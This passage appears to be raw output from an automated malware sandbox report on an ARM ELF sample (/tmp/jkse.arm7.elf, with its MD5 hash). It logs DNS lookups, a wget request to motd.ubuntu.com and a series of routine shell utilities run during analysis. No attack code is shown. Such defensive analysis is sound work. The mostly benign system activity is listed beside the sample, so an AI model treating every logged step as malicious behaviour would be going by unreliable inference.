                                      Mar 19, 2025 20:45:57.708209038 CET3689453192.168.2.141.1.1.1
                                      Mar 19, 2025 20:45:57.708267927 CET3611453192.168.2.141.1.1.1
                                      Mar 19, 2025 20:45:57.807461977 CET53368941.1.1.1192.168.2.14
                                      Mar 19, 2025 20:45:57.807694912 CET53361141.1.1.1192.168.2.14

                                      DNS Queries

                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                      Mar 19, 2025 20:45:57.708209038 CET192.168.2.141.1.1.10x64d2Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                                      Mar 19, 2025 20:45:57.708267927 CET192.168.2.141.1.1.10xced1Standard query (0)daisy.ubuntu.com28IN (0x0001)false

                                      DNS Answers

                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                      Mar 19, 2025 20:45:57.807461977 CET1.1.1.1192.168.2.140x64d2No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
                                      Mar 19, 2025 20:45:57.807461977 CET1.1.1.1192.168.2.140x64d2No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

                                      HTTP Request Dependency Graph

                                      • motd.ubuntu.com

                                      HTTPS Proxied Packets

                                      Session IDSource IPSource PortDestination IPDestination Port
                                      0192.168.2.144339054.247.62.1443
                                      TimestampBytes transferredDirectionData
                                      2025-03-19 19:43:40 UTC249OUTGET / HTTP/1.1
                                      User-Agent: wget/1.20.3-1ubuntu1 Ubuntu/20.04.2/LTS GNU/Linux/5.4.0-72-generic/x86_64 Intel(R)/Xeon(R)/Silver/4210/CPU/@/2.20GHz cloud_id/none
                                      Accept: */*
                                      Accept-Encoding: identity
                                      Host: motd.ubuntu.com
                                      Connection: Keep-Alive
                                      2025-03-19 19:43:41 UTC271INHTTP/1.1 200 OK
                                      Date: Wed, 19 Mar 2025 19:43:41 GMT
                                      Server: Apache/2.4.18 (Ubuntu)
                                      Last-Modified: Wed, 19 Mar 2025 19:31:00 GMT
                                      ETag: "d8-630b70fb2d116"
                                      Accept-Ranges: bytes
                                      Content-Length: 216
                                      Vary: Accept-Encoding
                                      Connection: close
                                      Content-Type: text/plain
                                      2025-03-19 19:43:41 UTC216INData Raw: 20 2a 20 53 74 72 69 63 74 6c 79 20 63 6f 6e 66 69 6e 65 64 20 4b 75 62 65 72 6e 65 74 65 73 20 6d 61 6b 65 73 20 65 64 67 65 20 61 6e 64 20 49 6f 54 20 73 65 63 75 72 65 2e 20 4c 65 61 72 6e 20 68 6f 77 20 4d 69 63 72 6f 4b 38 73 0a 20 20 20 6a 75 73 74 20 72 61 69 73 65 64 20 74 68 65 20 62 61 72 20 66 6f 72 20 65 61 73 79 2c 20 72 65 73 69 6c 69 65 6e 74 20 61 6e 64 20 73 65 63 75 72 65 20 4b 38 73 20 63 6c 75 73 74 65 72 20 64 65 70 6c 6f 79 6d 65 6e 74 2e 0a 0a 20 20 20 68 74 74 70 73 3a 2f 2f 75 62 75 6e 74 75 2e 63 6f 6d 2f 65 6e 67 61 67 65 2f 73 65 63 75 72 65 2d 6b 75 62 65 72 6e 65 74 65 73 2d 61 74 2d 74 68 65 2d 65 64 67 65 0a
                                      Data Ascii: * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s just raised the bar for easy, resilient and secure K8s cluster deployment. https://ubuntu.com/engage/secure-kubernetes-at-the-edge


                                      System Behavior

                                      General

                                      Start time (UTC):19:43:12
                                      Start date (UTC):19/03/2025
                                      Path:/tmp/jkse.arm7.elf
                                      Arguments:/tmp/jkse.arm7.elf
                                      File size:4956856 bytes
                                      MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                      File Activities

                                      Process Activities

                                      System Activities


                                      General

                                      Start time (UTC):19:43:40
                                      Start date (UTC):19/03/2025
                                      Path:/usr/bin/dash
                                      Arguments:-
                                      File size:129816 bytes
                                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                      Process Activities


                                      General

                                      Start time (UTC):19:43:40
                                      Start date (UTC):19/03/2025
                                      Path:/usr/bin/rm
                                      Arguments:rm -f /tmp/tmp.CVLRIwyObe /tmp/tmp.KmDux08azp /tmp/tmp.AsM4DOubX4
                                      File size:72056 bytes
                                      MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

                                      File Activities


                                      General

                                      Start time (UTC):19:43:40
                                      Start date (UTC):19/03/2025
                                      Path:/usr/bin/dash
                                      Arguments:-
                                      File size:129816 bytes
                                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                      Process Activities


                                      General

                                      Start time (UTC):19:43:40
                                      Start date (UTC):19/03/2025
                                      Path:/usr/bin/cat
                                      Arguments:cat /tmp/tmp.CVLRIwyObe
                                      File size:43416 bytes
                                      MD5 hash:7e9d213e404ad3bb82e4ebb2e1f2c1b3

                                      File Activities


                                      General

                                      Start time (UTC):19:43:40
                                      Start date (UTC):19/03/2025
                                      Path:/usr/bin/dash
                                      Arguments:-
                                      File size:129816 bytes
                                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                      Process Activities


                                      General

                                      Start time (UTC):19:43:40
                                      Start date (UTC):19/03/2025
                                      Path:/usr/bin/head
                                      Arguments:head -n 10
                                      File size:47480 bytes
                                      MD5 hash:fd96a67145172477dd57131396fc9608

                                      File Activities


                                      General

                                      Start time (UTC):19:43:40
                                      Start date (UTC):19/03/2025
                                      Path:/usr/bin/dash
                                      Arguments:-
                                      File size:129816 bytes
                                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                      Process Activities


                                      General

                                      Start time (UTC):19:43:40
                                      Start date (UTC):19/03/2025
                                      Path:/usr/bin/tr
                                      Arguments:tr -d \\000-\\011\\013\\014\\016-\\037
                                      File size:51544 bytes
                                      MD5 hash:fbd1402dd9f72d8ebfff00ce7c3a7bb5

                                      File Activities


                                      General

                                      Start time (UTC):19:43:40
                                      Start date (UTC):19/03/2025
                                      Path:/usr/bin/dash
                                      Arguments:-
                                      File size:129816 bytes
                                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                      Process Activities


                                      General

                                      Start time (UTC):19:43:40
                                      Start date (UTC):19/03/2025
                                      Path:/usr/bin/cut
                                      Arguments:cut -c -80
                                      File size:47480 bytes
                                      MD5 hash:d8ed0ea8f22c0de0f8692d4d9f1759d3

                                      File Activities


                                      General

                                      Start time (UTC):19:43:40
                                      Start date (UTC):19/03/2025
                                      Path:/usr/bin/dash
                                      Arguments:-
                                      File size:129816 bytes
                                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                      Process Activities


                                      General

                                      Start time (UTC):19:43:40
                                      Start date (UTC):19/03/2025
                                      Path:/usr/bin/cat
                                      Arguments:cat /tmp/tmp.CVLRIwyObe
                                      File size:43416 bytes
                                      MD5 hash:7e9d213e404ad3bb82e4ebb2e1f2c1b3

                                      File Activities


                                      General

                                      Start time (UTC):19:43:40
                                      Start date (UTC):19/03/2025
                                      Path:/usr/bin/dash
                                      Arguments:-
                                      File size:129816 bytes
                                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                      Process Activities


                                      General

                                      Start time (UTC):19:43:40
                                      Start date (UTC):19/03/2025
                                      Path:/usr/bin/head
                                      Arguments:head -n 10
                                      File size:47480 bytes
                                      MD5 hash:fd96a67145172477dd57131396fc9608

                                      File Activities


                                      General

                                      Start time (UTC):19:43:40
                                      Start date (UTC):19/03/2025
                                      Path:/usr/bin/dash
                                      Arguments:-
                                      File size:129816 bytes
                                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                      Process Activities


                                      General

                                      Start time (UTC):19:43:40
                                      Start date (UTC):19/03/2025
                                      Path:/usr/bin/tr
                                      Arguments:tr -d \\000-\\011\\013\\014\\016-\\037
                                      File size:51544 bytes
                                      MD5 hash:fbd1402dd9f72d8ebfff00ce7c3a7bb5

                                      File Activities


                                      General

                                      Start time (UTC):19:43:40
                                      Start date (UTC):19/03/2025
                                      Path:/usr/bin/dash
                                      Arguments:-
                                      File size:129816 bytes
                                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                      Process Activities


                                      General

                                      Start time (UTC):19:43:40
                                      Start date (UTC):19/03/2025
                                      Path:/usr/bin/cut
                                      Arguments:cut -c -80
                                      File size:47480 bytes
                                      MD5 hash:d8ed0ea8f22c0de0f8692d4d9f1759d3

                                      File Activities


                                      General

                                      Start time (UTC):19:43:40
                                      Start date (UTC):19/03/2025
                                      Path:/usr/bin/dash
                                      Arguments:-
                                      File size:129816 bytes
                                      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                      Process Activities


                                      General

                                      Start time (UTC):19:43:40
                                      Start date (UTC):19/03/2025
                                      Path:/usr/bin/rm
                                      Arguments:rm -f /tmp/tmp.CVLRIwyObe /tmp/tmp.KmDux08azp /tmp/tmp.AsM4DOubX4
                                      File size:72056 bytes
                                      MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

                                      File Activities